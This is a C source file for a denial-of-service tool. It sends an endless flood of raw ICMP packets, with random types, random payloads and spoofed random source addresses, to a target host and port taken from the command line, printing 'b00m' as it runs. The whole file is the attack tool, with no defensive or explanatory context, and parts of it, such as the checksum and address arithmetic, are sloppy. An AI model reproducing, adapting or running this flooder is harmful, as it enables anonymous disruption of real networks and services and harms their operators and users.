random_icmp.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
{
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
} icmph;

int in_cksum(int *ptr, int nbytes)
{
    long sum;
    u_short oddbyte, answer;
    sum = 0;
    while (nbytes > 1)
    {
sum += *ptr++;
nbytes -= 2;
    }
    if (nbytes == 1)
    {
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt)
{
struct hostent *host;
if ((host = gethostbyname(address)) == NULL)
{
perror("Unable to get host name");
exit(-1);
}
struct sockaddr_in sin;
bzero((char *)&sin, sizeof(sin));
sin.sin_family = PF_INET;
sin.sin_port = htons(prt);
bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
return(sin);
}

void main(int argc, char **argv)
{
int sock, i, ctr, k;
int on = 1;
struct sockaddr_in addrs;
if (argc < 3)
{
printf("Usage: %s <ip_addr> <port>\n", argv[0]);
exit(-1);
}
for (i = 0; i < 1002; i++)
{
     icmph.text[i] = random() % 255;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
     perror("Can't set IP_HDRINCL option on socket");
}
if (sock < 0)
{
     exit(-1);
}
fflush(stdout);
for (ctr = 0;ctr < 1001;ctr++)
{
     ctr = ctr % 1000;
            addrs = sock_open(argv[1], sock, atoi(argv[2]));
     icmph.iph.version = 4;
     icmph.iph.ihl = 6;
     icmph.iph.tot_len = 1024;
     icmph.iph.id = htons(0x001);
     icmph.iph.ttl = 255;
     icmph.iph.protocol = IPPROTO_ICMP;
     icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
     ((random() % 255) * 65535) +
     ((random() % 255) * 255) +
     (random() % 255);
     icmph.iph.daddr = addrs.sin_addr.s_addr;
     icmph.iph.frag_off = htons(0);
     icmph.icp.icmp_type = random() % 14;
     icmph.icp.icmp_code = random() % 10;
     icmph.icp.icmp_cksum = 0;
     icmph.icp.icmp_id = 2650;
     icmph.icp.icmp_seq = random() % 255;
     icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
     if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
     {
      if (errno != ENOBUFS) printf("X");
     }
     if (ctr == 0) printf("b00m ");
     fflush(stdout);
}
close(sock);
}